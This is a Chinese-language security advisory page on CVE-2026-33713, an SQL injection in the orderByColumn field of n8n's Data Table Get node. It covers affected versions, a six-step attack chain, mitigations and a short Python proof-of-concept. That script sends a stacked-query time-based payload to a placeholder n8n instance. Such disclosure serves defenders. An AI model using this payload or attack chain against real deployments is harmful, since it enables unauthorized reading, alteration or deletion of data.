IPBUF安全漏洞报告
English
CVE-2026-33713 CVSS 8.8 高危

CVE-2026-33713 n8n Data Table节点SQL注入漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33713
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

SQL注入n8nRCE高危漏洞工作流自动化

漏洞概述

n8n开源工作流自动化平台在特定版本之前存在SQL注入漏洞。拥有工作流创建或修改权限的经过身份验证的用户,可以利用Data Table Get节点中的漏洞执行恶意SQL语句。在默认SQLite数据库环境下,攻击面受到一定限制;但在PostgreSQL部署环境中,攻击者可实现多语句执行,进而导致数据被修改或删除。该漏洞CVSS评分为8.8,属于高危漏洞。

技术细节

该漏洞的根本原因在于n8n平台的Data Table Get节点未能对用户输入进行充分的净化处理,导致外部可控参数被直接拼接到SQL查询语句中执行。具体而言,经过身份验证的攻击者可以通过控制工作流中Data Table节点的`orderByColumn`字段,注入恶意的SQL语法。在默认的SQLite数据库部署环境下,由于SQLite的限制,攻击通常局限于单条语句的操纵,利用难度相对较高。然而,当n8n后端连接PostgreSQL数据库时,由于其支持堆叠查询特性,攻击者可以在注入的SQL语句后通过分号追加额外的命令。这使得攻击者能够执行数据定义语言(DDL)或数据操作语言(DML)命令,从而实现数据的窃取、篡改甚至删除。成功利用此漏洞需要攻击者拥有平台账户并具备创建或修改工作流的特定权限。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标使用的是存在漏洞的n8n平台版本。
STEP 2
2. 获取凭证
攻击者通过钓鱼、暴力破解或其他手段获取一个具有工作流创建或修改权限的合法账户凭证。
STEP 3
3. 构造恶意节点
攻击者登录平台,创建或编辑一个工作流,在其中添加Data Table Get节点。
STEP 4
4. 注入Payload
攻击者在该节点的`orderByColumn`参数中输入精心构造的恶意SQL语句(例如堆叠查询语句)。
STEP 5
5. 执行攻击
保存并触发工作流,后端数据库解析并执行恶意SQL代码(若为PostgreSQL则可能执行多语句)。
STEP 6
6. 达成效果
攻击者成功读取敏感数据、修改或删除数据库中的内容,破坏系统完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-33713 # Target: n8n Data Table Get Node # Note: Requires authentication and workflow edit permissions target_url = "http://<n8n-instance>/webhook/test" session_cookie = "<valid_session_cookie>" headers = { "Content-Type": "application/json", "Cookie": f"session={session_cookie}" } # Malicious payload exploiting 'orderByColumn' in Data Table Get node # Example payload for PostgreSQL: Test for time-based blind SQLi sql_payload = "1; SELECT pg_sleep(5)--" workflow_data = { "nodes": [ { "parameters": { "operation": "getAll", "orderByColumn": sql_payload }, "name": "Data Table", "type": "n8n-nodes-base.dataTable", "position": [250, 300] } ], "connections": {} } try: response = requests.post(target_url, json=workflow_data, headers=headers) if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection successful (Time-based delay detected).") else: print("[-] Payload executed but no delay detected or request failed.") except Exception as e: print(f"[!] Error: {e}")

影响范围

n8n < 1.123.26
n8n >= 2.13.0 < 2.13.3
n8n >= 2.14.0 < 2.14.1

防御指南

临时缓解措施
如果无法立即升级,建议管理员将工作流创建和编辑权限限制为仅受信任的用户。此外,可以通过在环境变量中添加`n8n-nodes-base.dataTable`到`NODES_EXCLUDE`来禁用Data Table节点。同时,应审查现有工作流,检查Data Table Get节点中的`orderByColumn`是否使用了包含外部或用户提供输入的表达式。请注意,这些变通方法不能完全消除风险,仅作为短期缓解措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表